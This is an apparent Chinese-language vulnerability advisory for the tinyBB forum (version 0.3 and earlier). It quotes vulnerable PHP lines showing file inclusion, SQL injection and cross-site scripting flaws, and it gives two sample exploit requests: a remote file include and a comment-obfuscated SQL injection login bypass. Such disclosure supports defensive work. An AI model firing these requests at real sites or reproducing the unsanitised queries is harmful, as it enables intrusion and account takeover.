tinyBB多个远程安全漏洞
2008-10-03
系统编号:
WAVDB-00954
BUGTRAQ: 18147
影响版本:
tinyBB <= 0.3
程序介绍:
tinyBB是一款简单小巧的开源论坛程序。
漏洞分析:
tinyBB的实现上存在多个输入验证漏洞,导致SQL注入等各种安全威胁。
tinyBB的footers.php文件没有正确过滤tinyBB.tinybb_footers变量,允许远程攻击者包含任意文件。有漏洞的代码在footers.php的第3行:
3: if (strlen($tinybb_footers) > 0) { require_once($tinybb_footers); }
此外,forgot.php.Parameter $q中存在SQL注入漏洞。漏洞代码在forgot.php的3-18行:
3: if (isset($q)) {
4: $sql="SELECT COUNT(*) FROM tinybb_members WHERE username='$q' OR email='$q'";
5: $count = mysql_result(mysql_query($sql),0);
forgot.php的19-21行还存在跨站脚本漏洞:
19: else {
20: echo "<p>The query <b>$q</b> could not be .....
21: }
由于没有正确过滤用户名和口令,导致login.php.Parameters中存在另一个SQL注入漏洞。漏洞代码在login.php的2-8行:
8: $sql="SELECT count(*) FROM tinybb_members WHERE flag='1' AND username='$username' AND password='$password'";
漏洞利用:
GET -> http://[victim]/[tBBPath]/footers.php?tinybb_footers=evilscript
GET -> http://[victim]/[tBBPath]/login.php?username=heh/**/or/**/isnull(1/0)/*&password=nothing
解决方案:
厂商补丁:
Epicdesigns
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.epicdesigns.co.uk/
信息来源:
<*来源:Mustafa Can Bjorn (nukedx@nukedx.com)
链接:http://www.nukedx.com/?viewdoc=33
*>